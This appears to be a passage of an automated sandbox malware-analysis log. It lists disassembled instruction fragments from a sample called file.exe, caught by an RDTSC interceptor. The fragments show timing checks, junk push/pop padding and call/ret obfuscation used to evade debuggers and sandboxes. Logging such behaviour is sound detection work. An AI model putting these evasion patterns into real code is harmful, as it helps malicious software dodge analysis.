Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668392 second address: 668396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6684F2 second address: 66850E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F46B8B98B18h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668645 second address: 66864B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6686AB second address: 6686C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F46B8B98B0Dh 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6686C7 second address: 6686FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xchg eax, esi 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F46B8DCA198h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 0000001Ah 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 jp 00007F46B8DCA196h 0x0000002b pop ebx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668E2F second address: 668E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668E34 second address: 668E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F46B8DCA1A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668FC2 second address: 668FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668FC6 second address: 668FCC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669181 second address: 669185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66924B second address: 6692B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8DCA1A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007F46B8DCA1A2h 0x00000011 mov cl, 79h 0x00000013 pop edi 0x00000014 lea eax, dword ptr [ebp+12479BE8h] 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F46B8DCA198h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 movzx edx, si 0x00000037 nop 0x00000038 push eax 0x00000039 push edx 0x0000003a js 00007F46B8DCA198h 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6692B2 second address: 6692B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6692B7 second address: 669341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnl 00007F46B8DCA1B5h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F46B8DCA198h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 lea eax, dword ptr [ebp+12479BA4h] 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F46B8DCA198h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 mov edi, dword ptr [ebp+122D382Eh] 0x0000004f nop 0x00000050 push eax 0x00000051 push edx 0x00000052 push ecx 0x00000053 ja 00007F46B8DCA196h 0x00000059 pop ecx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669341 second address: 669347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669347 second address: 651DCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F46B8DCA19Eh 0x0000000f push edx 0x00000010 jno 00007F46B8DCA196h 0x00000016 pop edx 0x00000017 nop 0x00000018 mov edx, 400A9CA7h 0x0000001d call dword ptr [ebp+122D352Bh] 0x00000023 jnp 00007F46B8DCA1CFh 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F46B8DCA19Ah 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD5E8 second address: 6AD5EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD77A second address: 6AD77E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD77E second address: 6AD784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD784 second address: 6AD7C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F46B8DCA1A6h 0x00000008 jmp 00007F46B8DCA1A9h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F46B8DCA196h 0x00000016 jmp 00007F46B8DCA19Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD7C9 second address: 6AD7DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jg 00007F46B8B98B06h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD7DD second address: 6AD7F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F46B8DCA1A0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD7F3 second address: 6AD7F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD7F7 second address: 6AD7FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADC15 second address: 6ADC1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADC1B second address: 6ADC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADC1F second address: 6ADC29 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F46B8B98B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADC29 second address: 6ADC30 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADC30 second address: 6ADC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 ja 00007F46B8B98B06h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F46B8B98B19h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622B59 second address: 622B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622B5D second address: 622B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B022C second address: 6B0251 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F46B8DCA196h 0x00000008 jc 00007F46B8DCA196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnp 00007F46B8DCA19Eh 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edi 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1B4E second address: 6B1BA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F46B8B98B12h 0x00000007 jmp 00007F46B8B98B18h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F46B8B98B0Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F46B8B98B15h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1BA2 second address: 6B1BA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1BA6 second address: 6B1BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4384 second address: 6B438A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B438A second address: 6B438E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B438E second address: 6B439B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9670 second address: 6B9686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 js 00007F46B8B98B0Ch 0x0000000d jng 00007F46B8B98B06h 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8D28 second address: 6B8D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F46B8DCA19Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8D3E second address: 6B8D44 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8D44 second address: 6B8D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8D4A second address: 6B8D76 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F46B8B98B0Dh 0x00000008 pop edi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 push edi 0x00000013 jl 00007F46B8B98B06h 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e jp 00007F46B8B98B06h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8EE6 second address: 6B8EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8EF1 second address: 6B8F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F46B8B98B12h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8F07 second address: 6B8F13 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F46B8DCA196h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8F13 second address: 6B8F2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007F46B8B98B10h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8F2F second address: 6B8F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8F35 second address: 6B8F39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9219 second address: 6B921F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B921F second address: 6B9223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BEC3A second address: 6BEC3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BEC3F second address: 6BEC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F46B8B98B17h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BEC5C second address: 6BEC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD5F3 second address: 6BD5F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD5F7 second address: 6BD61C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F46B8DCA1A4h 0x00000009 jmp 00007F46B8DCA19Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD79D second address: 6BD7A7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F46B8B98B06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD935 second address: 6BD945 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F46B8DCA196h 0x00000008 ja 00007F46B8DCA196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDAF7 second address: 6BDAFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDD35 second address: 6BDD39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDD39 second address: 6BDD42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDD42 second address: 6BDD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnp 00007F46B8DCA196h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668B9A second address: 668B9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668B9F second address: 668BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668BA5 second address: 668C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F46B8B98B0Bh 0x0000000e ja 00007F46B8B98B0Ch 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F46B8B98B08h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov edi, dword ptr [ebp+122D39D6h] 0x00000036 xor dx, 3BAEh 0x0000003b mov ebx, dword ptr [ebp+12479BE3h] 0x00000041 and edx, dword ptr [ebp+122D30A8h] 0x00000047 add eax, ebx 0x00000049 push 00000000h 0x0000004b push edx 0x0000004c call 00007F46B8B98B08h 0x00000051 pop edx 0x00000052 mov dword ptr [esp+04h], edx 0x00000056 add dword ptr [esp+04h], 0000001Dh 0x0000005e inc edx 0x0000005f push edx 0x00000060 ret 0x00000061 pop edx 0x00000062 ret 0x00000063 pushad 0x00000064 mov dword ptr [ebp+122D2F27h], eax 0x0000006a popad 0x0000006b push eax 0x0000006c push esi 0x0000006d jc 00007F46B8B98B0Ch 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDEBF second address: 6BDEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDEC5 second address: 6BDECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDECF second address: 6BDED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDED4 second address: 6BDED9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDED9 second address: 6BDEE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDEE6 second address: 6BDEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDEEA second address: 6BDEEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE982 second address: 6BE986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1110 second address: 6C1139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F46B8DCA19Fh 0x0000000c jmp 00007F46B8DCA1A3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1139 second address: 6C115F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F46B8B98B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esi 0x0000000c jmp 00007F46B8B98B17h 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C115F second address: 6C1165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1750 second address: 6C1756 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1756 second address: 6C175B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C175B second address: 6C1767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F46B8B98B06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA27B second address: 6CA28A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F46B8DCA19Ah 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C85FD second address: 6C8603 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C88D9 second address: 6C88DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C88DF second address: 6C88E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C88E5 second address: 6C88EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C88EB second address: 6C8901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F46B8B98B0Dh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8901 second address: 6C8907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8BBA second address: 6C8BDA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F46B8B98B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F46B8B98B16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8BDA second address: 6C8BE9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F46B8DCA19Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8BE9 second address: 6C8BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 js 00007F46B8B98B06h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9181 second address: 6C9185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C943F second address: 6C9448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9448 second address: 6C9452 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F46B8DCA196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9452 second address: 6C945B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C945B second address: 6C94A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F46B8DCA196h 0x0000000a jo 00007F46B8DCA196h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007F46B8DCA19Fh 0x00000018 popad 0x00000019 pushad 0x0000001a push esi 0x0000001b jns 00007F46B8DCA196h 0x00000021 pop esi 0x00000022 pushad 0x00000023 jmp 00007F46B8DCA1A7h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
